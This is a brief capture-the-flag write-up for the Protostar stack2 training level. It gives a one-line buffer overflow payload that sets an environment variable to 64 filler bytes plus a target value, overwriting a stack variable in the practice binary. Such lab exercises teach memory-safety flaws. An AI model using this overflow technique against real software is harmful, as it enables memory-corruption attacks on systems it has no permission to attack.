stack2

TL;DR -> `export GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'") && ./stack2`

Stack2

URL: https://exploit.education/protostar/stack-two/

This level is same as stack1 (checkout that writeup), the only difference is, we have to set payload in env variable. That can be easily done using export $VARIABLE=value

In our case, the payload will be: export GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'")

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One liner solution: export GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'") && ./stack2